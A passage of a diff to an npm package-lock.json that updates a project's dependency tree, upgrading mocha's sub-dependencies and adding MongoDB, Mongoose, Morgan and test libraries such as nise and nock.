+- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
+- "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
++ "readdirp": {
++ "version": "3.5.0",
++ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.5.0.tgz",
++ "integrity": "sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ==",
+ "dev": true,
+ "requires": {
+- "glob": "^7.1.3"
++ "picomatch": "^2.2.1"
+ }
+ },
+- "wrap-ansi": {
+- "version": "6.2.0",
+- "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz",
+- "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==",
++ "serialize-javascript": {
++ "version": "5.0.1",
++ "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-5.0.1.tgz",
++ "integrity": "sha512-SaaNal9imEO737H2c05Og0/8LUXG7EnsZyMa8MzkmuHoELfT6txuj0cMqRj6zfPKnmQ1yasR4PCJc8x+M4JSPA==",
+ "dev": true,
+ "requires": {
+- "ansi-styles": "^4.0.0",
+- "string-width": "^4.1.0",
+- "strip-ansi": "^6.0.0"
++ "randombytes": "^2.1.0"
+ }
+ },
+- "y18n": {
+- "version": "4.0.3",
+- "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz",
+- "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==",
++ "workerpool": {
++ "version": "6.1.0",
++ "resolved": "https://registry.npmjs.org/workerpool/-/workerpool-6.1.0.tgz",
++ "integrity": "sha512-toV7q9rWNYha963Pl/qyeZ6wG+3nnsyvolaNUS8+R5Wtw6qJPTxIlOP1ZSvcGhEJw+l3HMMmtiNo9Gl61G4GVg==",
+ "dev": true
+ },
+ "yargs": {
+- "version": "15.4.1",
+- "resolved": "https://registry.npmjs.org/yargs/-/yargs-15.4.1.tgz",
+- "integrity": "sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==",
++ "version": "16.2.0",
++ "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz",
++ "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==",
+ "dev": true,
+ "requires": {
+- "cliui": "^6.0.0",
+- "decamelize": "^1.2.0",
+- "find-up": "^4.1.0",
+- "get-caller-file": "^2.0.1",
++ "cliui": "^7.0.2",
++ "escalade": "^3.1.1",
++ "get-caller-file": "^2.0.5",
+ "require-directory": "^2.1.1",
+- "require-main-filename": "^2.0.0",
+- "set-blocking": "^2.0.0",
+ "string-width": "^4.2.0",
+- "which-module": "^2.0.0",
+- "y18n": "^4.0.0",
+- "yargs-parser": "^18.1.2"
+- }
+- },
+- "yargs-parser": {
+- "version": "18.1.3",
+- "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz",
+- "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==",
+- "dev": true,
+- "requires": {
+- "camelcase": "^5.0.0",
+- "decamelize": "^1.2.0"
++ "y18n": "^5.0.5",
++ "yargs-parser": "^20.2.2"
+ }
+ }
+ }
+ },
+- "oauth": {
+- "version": "0.9.15",
+- "resolved": "https://registry.npmjs.org/oauth/-/oauth-0.9.15.tgz",
+- "integrity": "sha1-vR/vr2hslrdUda7VGWQS/2DPucE="
++ "mock-fs": {
++ "version": "5.1.2",
++ "resolved": "https://registry.npmjs.org/mock-fs/-/mock-fs-5.1.2.tgz",
++ "integrity": "sha512-YkjQkdLulFrz0vD4BfNQdQRVmgycXTV7ykuHMlyv+C8WCHazpkiQRDthwa02kSyo8wKnY9wRptHfQLgmf0eR+A==",
++ "dev": true
++ },
++ "module-details-from-path": {
++ "version": "1.0.3",
++ "resolved": "https://registry.npmjs.org/module-details-from-path/-/module-details-from-path-1.0.3.tgz",
++ "integrity": "sha1-EUyUlnPiqKNenTV4hSeqN7Z52is="
++ },
++ "moment": {
++ "version": "2.29.4",
++ "resolved": "https://registry.npmjs.org/moment/-/moment-2.29.4.tgz",
++ "integrity": "sha512-5LC9SOxjSc2HF6vO2CyuTDNivEdoz2IvyJJGj6X8DJ0eFyfszE0QiEd+iXmBvUP3WHxSjFH/vIsA0EN00cgr8w=="
++ },
++ "moment-timezone": {
++ "version": "0.5.34",
++ "resolved": "https://registry.npmjs.org/moment-timezone/-/moment-timezone-0.5.34.tgz",
++ "integrity": "sha512-3zAEHh2hKUs3EXLESx/wsgw6IQdusOT8Bxm3D9UrHPQR7zlMmzwybC8zHEM1tQ4LJwP7fcxrWr8tuBg05fFCbg==",
++ "requires": {
++ "moment": ">= 2.9.0"
++ }
++ },
++ "mongo-uri": {
++ "version": "0.1.2",
++ "resolved": "https://registry.npmjs.org/mongo-uri/-/mongo-uri-0.1.2.tgz",
++ "integrity": "sha1-FzrwFAMzkALgq9C01nWYfTzc+Z4="
+ },
+- "oauth-sign": {
+- "version": "0.9.0",
+- "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz",
+- "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ=="
++ "mongodb": {
++ "version": "3.7.3",
++ "resolved": "https://registry.npmjs.org/mongodb/-/mongodb-3.7.3.tgz",
++ "integrity": "sha512-Psm+g3/wHXhjBEktkxXsFMZvd3nemI0r3IPsE0bU+4//PnvNWKkzhZcEsbPcYiWqe8XqXJJEg4Tgtr7Raw67Yw==",
++ "requires": {
++ "bl": "^2.2.1",
++ "bson": "^1.1.4",
++ "denque": "^1.4.1",
++ "optional-require": "^1.1.8",
++ "safe-buffer": "^5.1.2",
++ "saslprep": "^1.0.0"
++ }
+ },
+- "oauth2-server": {
+- "version": "3.1.1",
+- "resolved": "https://registry.npmjs.org/oauth2-server/-/oauth2-server-3.1.1.tgz",
+- "integrity": "sha512-4dv+fE9hrK+xTaCygOLh/kQeFzbFr7UqSyHvBDbrQq8Hg52sAkV2vTsyH3Z42hoeaKpbhM7udhL8Y4GYbl6TGQ==",
++ "mongoose": {
++ "version": "5.13.14",
++ "resolved": "https://registry.npmjs.org/mongoose/-/mongoose-5.13.14.tgz",
++ "integrity": "sha512-j+BlQjjxgZg0iWn42kLeZTB91OejcxWpY2Z50bsZTiKJ7HHcEtcY21Godw496GMkBqJMTzmW7G/kZ04mW+Cb7Q==",
+ "requires": {
+- "basic-auth": "2.0.1",
+- "bluebird": "3.7.2",
+- "lodash": "4.17.19",
+- "promisify-any": "2.0.1",
+- "statuses": "1.5.0",
+- "type-is": "1.6.18"
++ "@types/bson": "1.x || 4.0.x",
++ "@types/mongodb": "^3.5.27",
++ "bson": "^1.1.4",
++ "kareem": "2.3.2",
++ "mongodb": "3.7.3",
++ "mongoose-legacy-pluralize": "1.0.2",
++ "mpath": "0.8.4",
++ "mquery": "3.2.5",
++ "ms": "2.1.2",
++ "optional-require": "1.0.x",
++ "regexp-clone": "1.0.0",
++ "safe-buffer": "5.2.1",
++ "sift": "13.5.2",
++ "sliced": "1.0.1"
+ },
+ "dependencies": {
+- "lodash": {
+- "version": "4.17.19",
+- "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.19.tgz",
+- "integrity": "sha512-JNvd8XER9GQX0v2qJgsaN/mzFCNA5BRe/j8JN9d+tWyGLSodKQHKFicdwNYzWwI3wjRnaKPsGj1XkBjx/F96DQ=="
++ "ms": {
++ "version": "2.1.2",
++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
++ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
++ },
++ "optional-require": {
++ "version": "1.0.3",
++ "resolved": "https://registry.npmjs.org/optional-require/-/optional-require-1.0.3.tgz",
++ "integrity": "sha512-RV2Zp2MY2aeYK5G+B/Sps8lW5NHAzE5QClbFP15j+PWmP+T9PxlJXBOOLoSAdgwFvS4t0aMR4vpedMkbHfh0nA=="
++ },
++ "safe-buffer": {
++ "version": "5.2.1",
++ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
++ "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="
+ }
+ }
+ },
+- "object-assign": {
+- "version": "4.1.1",
+- "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
+- "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM="
++ "mongoose-legacy-pluralize": {
++ "version": "1.0.2",
++ "resolved": "https://registry.npmjs.org/mongoose-legacy-pluralize/-/mongoose-legacy-pluralize-1.0.2.tgz",
++ "integrity": "sha512-Yo/7qQU4/EyIS8YDFSeenIvXxZN+ld7YdV9LqFVQJzTLye8unujAWPZ4NWKfFA+RNjh+wvTWKY9Z3E5XM6ZZiQ==",
++ "requires": {}
+ },
+- "object-copy": {
+- "version": "0.1.0",
+- "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz",
+- "integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=",
++ "morgan": {
++ "version": "1.10.0",
++ "resolved": "https://registry.npmjs.org/morgan/-/morgan-1.10.0.tgz",
++ "integrity": "sha512-AbegBVI4sh6El+1gNwvD5YIck7nSA36weD7xvIxG4in80j/UoK8AEGaWnnz8v1GxonMCltmlNs5ZKbGvl9b1XQ==",
+ "requires": {
+- "copy-descriptor": "^0.1.0",
+- "define-property": "^0.2.5",
+- "kind-of": "^3.0.3"
++ "basic-auth": "~2.0.1",
++ "debug": "2.6.9",
++ "depd": "~2.0.0",
++ "on-finished": "~2.3.0",
++ "on-headers": "~1.0.2"
+ },
+ "dependencies": {
+- "define-property": {
+- "version": "0.2.5",
+- "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+- "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
++ "debug": {
++ "version": "2.6.9",
++ "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
++ "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+ "requires": {
+- "is-descriptor": "^0.1.0"
++ "ms": "2.0.0"
+ }
+ },
+- "is-accessor-descriptor": {
+- "version": "0.1.6",
+- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
+- "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=",
+- "requires": {
+- "kind-of": "^3.0.2"
+- }
++ "depd": {
++ "version": "2.0.0",
++ "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
++ "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw=="
++ },
++ "ms": {
++ "version": "2.0.0",
++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
++ "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
++ }
++ }
++ },
++ "mpath": {
++ "version": "0.8.4",
++ "resolved": "https://registry.npmjs.org/mpath/-/mpath-0.8.4.tgz",
++ "integrity": "sha512-DTxNZomBcTWlrMW76jy1wvV37X/cNNxPW1y2Jzd4DZkAaC5ZGsm8bfGfNOthcDuRJujXLqiuS6o3Tpy0JEoh7g=="
++ },
++ "mquery": {
++ "version": "3.2.5",
++ "resolved": "https://registry.npmjs.org/mquery/-/mquery-3.2.5.tgz",
++ "integrity": "sha512-VjOKHHgU84wij7IUoZzFRU07IAxd5kWJaDmyUzQlbjHjyoeK5TNeeo8ZsFDtTYnSgpW6n/nMNIHvE3u8Lbrf4A==",
++ "requires": {
++ "bluebird": "3.5.1",
++ "debug": "3.1.0",
++ "regexp-clone": "^1.0.0",
++ "safe-buffer": "5.1.2",
++ "sliced": "1.0.1"
++ },
++ "dependencies": {
++ "bluebird": {
++ "version": "3.5.1",
++ "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.1.tgz",
++ "integrity": "sha512-MKiLiV+I1AA596t9w1sQJ8jkiSr5+ZKi0WKrYGUn6d1Fx+Ij4tIj+m2WMQSGczs5jZVxV339chE8iwk6F64wjA=="
+ },
+- "is-data-descriptor": {
+- "version": "0.1.4",
+- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
+- "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=",
++ "debug": {
++ "version": "3.1.0",
++ "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz",
++ "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==",
+ "requires": {
+- "kind-of": "^3.0.2"
++ "ms": "2.0.0"
+ }
+ },
+- "is-descriptor": {
+- "version": "0.1.6",
+- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
+- "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
++ "ms": {
++ "version": "2.0.0",
++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
++ "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
++ }
++ }
++ },
++ "ms": {
++ "version": "2.1.3",
++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
++ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
++ },
++ "multicast-dns": {
++ "version": "6.2.3",
++ "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-6.2.3.tgz",
++ "integrity": "sha512-ji6J5enbMyGRHIAkAOu3WdV8nggqviKCEKtXcOqfphZZtQrmHKycfynJ2V7eVPUA4NhJ6V7Wf4TmGbTwKE9B6g==",
++ "devOptional": true,
++ "requires": {
++ "dns-packet": "^1.3.1",
++ "thunky": "^1.0.2"
++ }
++ },
++ "multicast-dns-service-types": {
++ "version": "1.1.0",
++ "resolved": "https://registry.npmjs.org/multicast-dns-service-types/-/multicast-dns-service-types-1.1.0.tgz",
++ "integrity": "sha1-iZ8R2WhuXgXLkbNdXw5jt3PPyQE=",
++ "devOptional": true
++ },
++ "mv": {
++ "version": "2.1.1",
++ "resolved": "https://registry.npmjs.org/mv/-/mv-2.1.1.tgz",
++ "integrity": "sha1-rmzg1vbV4KT32JN5jQPB6pVZtqI=",
++ "optional": true,
++ "requires": {
++ "mkdirp": "~0.5.1",
++ "ncp": "~2.0.0",
++ "rimraf": "~2.4.0"
++ },
++ "dependencies": {
++ "glob": {
++ "version": "6.0.4",
++ "resolved": "https://registry.npmjs.org/glob/-/glob-6.0.4.tgz",
++ "integrity": "sha1-DwiGD2oVUSey+t1PnOJLGqtuTSI=",
++ "optional": true,
+ "requires": {
+- "is-accessor-descriptor": "^0.1.6",
+- "is-data-descriptor": "^0.1.4",
+- "kind-of": "^5.0.0"
+- },
+- "dependencies": {
+- "kind-of": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw=="
+- }
++ "inflight": "^1.0.4",
++ "inherits": "2",
++ "minimatch": "2 || 3",
++ "once": "^1.3.0",
++ "path-is-absolute": "^1.0.0"
+ }
+ },
+- "kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
++ "rimraf": {
++ "version": "2.4.5",
++ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.4.5.tgz",
++ "integrity": "sha1-7nEM5dk6j9uFb7Xqj/Di11k0sto=",
++ "optional": true,
+ "requires": {
+- "is-buffer": "^1.1.5"
++ "glob": "^6.0.1"
+ }
+ }
+ }
+ },
+- "object-get": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/object-get/-/object-get-2.1.1.tgz",
+- "integrity": "sha512-7n4IpLMzGGcLEMiQKsNR7vCe+N5E9LORFrtNUVy4sO3dj9a3HedZCxEL2T7QuLhcHN1NBuBsMOKaOsAYI9IIvg==",
+- "dev": true
++ "namespace-emitter": {
++ "version": "2.0.1",
++ "resolved": "https://registry.npmjs.org/namespace-emitter/-/namespace-emitter-2.0.1.tgz",
++ "integrity": "sha512-N/sMKHniSDJBjfrkbS/tpkPj4RAbvW3mr8UAzvlMHyun93XEm83IAvhWtJVHo+RHn/oO8Job5YN4b+wRjSVp5g=="
+ },
+- "object-hash": {
+- "version": "2.2.0",
+- "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-2.2.0.tgz",
+- "integrity": "sha512-gScRMn0bS5fH+IuwyIFgnh9zBdo4DV+6GhygmWM9HyNJSgS0hScp1f5vjtm7oIIOiT9trXrShAkLFSc2IqKNgw=="
++ "nan": {
++ "version": "2.15.0",
++ "resolved": "https://registry.npmjs.org/nan/-/nan-2.15.0.tgz",
++ "integrity": "sha512-8ZtvEnA2c5aYCZYd1cvgdnU6cqwixRoYg70xPLWUws5ORTa/lnw+u4amixRS/Ac5U5mQVgp9pnlSUnbNWFaWZQ=="
+ },
+- "object-inspect": {
+- "version": "1.12.0",
+- "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.0.tgz",
+- "integrity": "sha512-Ho2z80bVIvJloH+YzRmpZVQe87+qASmBUKZDWgx9cu+KDrX2ZDH/3tMy+gXbZETVGs2M8YdxObOh7XAtim9Y0g=="
++ "nanoclone": {
++ "version": "0.2.1",
++ "resolved": "https://registry.npmjs.org/nanoclone/-/nanoclone-0.2.1.tgz",
++ "integrity": "sha512-wynEP02LmIbLpcYw8uBKpcfF6dmg2vcpKqxeH5UcoKEYdExslsdUA4ugFauuaeYdTB76ez6gJW8XAZ6CgkXYxA=="
+ },
+- "object-is": {
+- "version": "1.1.5",
+- "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.5.tgz",
+- "integrity": "sha512-3cyDsyHgtmi7I7DfSSI2LDp6SK2lwvtbg0p0R1e0RvTqF5ceGx+K2dfSjm1bKDMVCFEDAQvy+o8c6a7VujOddw==",
+- "devOptional": true,
+- "requires": {
+- "call-bind": "^1.0.2",
+- "define-properties": "^1.1.3"
+- }
++ "nanoid": {
++ "version": "3.2.0",
++ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.2.0.tgz",
++ "integrity": "sha512-fmsZYa9lpn69Ad5eDn7FMcnnSR+8R34W9qJEijxYhTbfOWzr22n1QxCMzXLK+ODyW2973V3Fux959iQoUxzUIA==",
++ "dev": true
+ },
+- "object-keys": {
+- "version": "1.1.1",
+- "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
+- "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA=="
++ "native-request": {
++ "version": "1.1.0",
++ "resolved": "https://registry.npmjs.org/native-request/-/native-request-1.1.0.tgz",
++ "integrity": "sha512-uZ5rQaeRn15XmpgE0xoPL8YWqcX90VtCFglYwAgkvKM5e8fog+vePLAhHxuuv/gRkrQxIeh5U3q9sMNUrENqWw==",
++ "dev": true,
++ "optional": true
+ },
+- "object-to-spawn-args": {
+- "version": "2.0.1",
+- "resolved": "https://registry.npmjs.org/object-to-spawn-args/-/object-to-spawn-args-2.0.1.tgz",
+- "integrity": "sha512-6FuKFQ39cOID+BMZ3QaphcC8Y4cw6LXBLyIgPU+OhIYwviJamPAn+4mITapnSBQrejB+NNp+FMskhD8Cq+Ys3w==",
++ "natural-compare": {
++ "version": "1.4.0",
++ "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",
++ "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=",
+ "dev": true
+ },
+- "object-visit": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz",
+- "integrity": "sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=",
+- "requires": {
+- "isobject": "^3.0.0"
+- }
++ "ncp": {
++ "version": "2.0.0",
++ "resolved": "https://registry.npmjs.org/ncp/-/ncp-2.0.0.tgz",
++ "integrity": "sha1-GVoh1sRuNh0vsSgbo4uR6d9727M=",
++ "optional": true
+ },
+- "object.assign": {
+- "version": "4.1.2",
+- "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz",
+- "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==",
+- "requires": {
+- "call-bind": "^1.0.0",
+- "define-properties": "^1.1.3",
+- "has-symbols": "^1.0.1",
+- "object-keys": "^1.1.1"
+- }
++ "negotiator": {
++ "version": "0.6.3",
++ "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",
++ "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg=="
+ },
+- "object.defaults": {
+- "version": "1.1.0",
+- "resolved": "https://registry.npmjs.org/object.defaults/-/object.defaults-1.1.0.tgz",
+- "integrity": "sha1-On+GgzS0B96gbaFtiNXNKeQ1/s8=",
+- "requires": {
+- "array-each": "^1.0.1",
+- "array-slice": "^1.0.0",
+- "for-own": "^1.0.0",
+- "isobject": "^3.0.0"
+- }
++ "neo-async": {
++ "version": "2.6.2",
++ "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz",
++ "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw=="
+ },
+- "object.entries": {
+- "version": "1.1.5",
+- "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.5.tgz",
+- "integrity": "sha512-TyxmjUoZggd4OrrU1W66FMDG6CuqJxsFvymeyXI51+vQLN67zYfZseptRge703kKQdo4uccgAKebXFcRCzk4+g==",
+- "dev": true,
+- "requires": {
+- "call-bind": "^1.0.2",
+- "define-properties": "^1.1.3",
+- "es-abstract": "^1.19.1"
+- }
++ "next-tick": {
++ "version": "1.0.0",
++ "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.0.0.tgz",
++ "integrity": "sha1-yobR/ogoFpsBICCOPchCS524NCw="
+ },
+- "object.fromentries": {
+- "version": "2.0.5",
+- "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.5.tgz",
+- "integrity": "sha512-CAyG5mWQRRiBU57Re4FKoTBjXfDoNwdFVH2Y1tS9PqCsfUTymAohOkEMSG3aRNKmv4lV3O7p1et7c187q6bynw==",
+- "dev": true,
++ "ngcomponent": {
++ "version": "4.1.0",
++ "resolved": "https://registry.npmjs.org/ngcomponent/-/ngcomponent-4.1.0.tgz",
++ "integrity": "sha512-cGL3iVoqMWTpCfaIwgRKhdaGqiy2Z+CCG0cVfjlBvdqE8saj8xap9B4OTf+qwObxLVZmDTJPDgx3bN6Q/lZ7BQ==",
+ "requires": {
+- "call-bind": "^1.0.2",
+- "define-properties": "^1.1.3",
+- "es-abstract": "^1.19.1"
++ "@types/angular": "^1.6.39",
++ "@types/lodash": "^4.14.85",
++ "angular": ">=1.5.0",
++ "lodash": "^4.17.4"
+ }
+ },
+- "object.getownpropertydescriptors": {
+- "version": "2.1.3",
+- "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.3.tgz",
+- "integrity": "sha512-VdDoCwvJI4QdC6ndjpqFmoL3/+HxffFBbcJzKi5hwLLqqx3mdbedRpfZDdK0SrOSauj8X4GzBvnDZl4vTN7dOw==",
+- "requires": {
+- "call-bind": "^1.0.2",
+- "define-properties": "^1.1.3",
+- "es-abstract": "^1.19.1"
+- }
++ "nice-try": {
++ "version": "1.0.5",
++ "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz",
++ "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ=="
+ },
+- "object.hasown": {
+- "version": "1.1.0",
+- "resolved": "https://registry.npmjs.org/object.hasown/-/object.hasown-1.1.0.tgz",
+- "integrity": "sha512-MhjYRfj3GBlhSkDHo6QmvgjRLXQ2zndabdf3nX0yTyZK9rPfxb6uRpAac8HXNLy1GpqWtZ81Qh4v3uOls2sRAg==",
++ "nise": {
++ "version": "4.1.0",
++ "resolved": "https://registry.npmjs.org/nise/-/nise-4.1.0.tgz",
++ "integrity": "sha512-eQMEmGN/8arp0xsvGoQ+B1qvSkR73B1nWSCh7nOt5neMCtwcQVYQGdzQMhcNscktTsWB54xnlSQFzOAPJD8nXA==",
+ "dev": true,
+ "requires": {
+- "define-properties": "^1.1.3",
+- "es-abstract": "^1.19.1"
++ "@sinonjs/commons": "^1.7.0",
++ "@sinonjs/fake-timers": "^6.0.0",
++ "@sinonjs/text-encoding": "^0.7.1",
++ "just-extend": "^4.0.2",
++ "path-to-regexp": "^1.7.0"
++ },
++ "dependencies": {
++ "isarray": {
++ "version": "0.0.1",
++ "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
++ "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=",
++ "dev": true
++ },
++ "path-to-regexp": {
++ "version": "1.8.0",
++ "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-1.8.0.tgz",
++ "integrity": "sha512-n43JRhlUKUAlibEJhPeir1ncUID16QnEjNpwzNdO3Lm4ywrBpBZ5oLD0I6br9evr1Y9JTqwRtAh7JLoOzAQdVA==",
++ "dev": true,
++ "requires": {
++ "isarray": "0.0.1"
++ }
++ }
+ }
+ },
+- "object.map": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/object.map/-/object.map-1.0.1.tgz",
+- "integrity": "sha1-z4Plncj8wK1fQlDh94s7gb2AHTc=",
++ "no-case": {
++ "version": "3.0.4",
++ "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz",
++ "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==",
++ "dev": true,
+ "requires": {
+- "for-own": "^1.0.0",
+- "make-iterator": "^1.0.0"
++ "lower-case": "^2.0.2",
++ "tslib": "^2.0.3"
+ }
+ },
+- "object.pick": {
+- "version": "1.3.0",
+- "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz",
+- "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=",
+- "requires": {
+- "isobject": "^3.0.1"
+- }
++ "nocache": {
++ "version": "2.1.0",
++ "resolved": "https://registry.npmjs.org/nocache/-/nocache-2.1.0.tgz",
++ "integrity": "sha512-0L9FvHG3nfnnmaEQPjT9xhfN4ISk0A8/2j4M37Np4mcDesJjHgEUfgPhdCyZuFI954tjokaIj/A3NdpFNdEh4Q=="
+ },
+- "object.values": {
+- "version": "1.1.5",
+- "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.5.tgz",
+- "integrity": "sha512-QUZRW0ilQ3PnPpbNtgdNV1PDbEqLIiSFB3l+EnGtBQ/8SUTLj1PZwtQHABZtLgwpJZTSZhuGLOGk57Drx2IvYg==",
++ "nock": {
++ "version": "0.15.2",
++ "resolved": "https://registry.npmjs.org/nock/-/nock-0.15.2.tgz",
++ "integrity": "sha1-PDLBrmASzTmOuSQKBZJEtZUI3Y0=",
+ "dev": true,
+ "requires": {
+- "call-bind": "^1.0.2",
+- "define-properties": "^1.1.3",
+- "es-abstract": "^1.19.1"
++ "propagate": "0.2.x"
+ }
+ },
+- "obuf": {
+- "version": "1.1.2",
+- "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz",
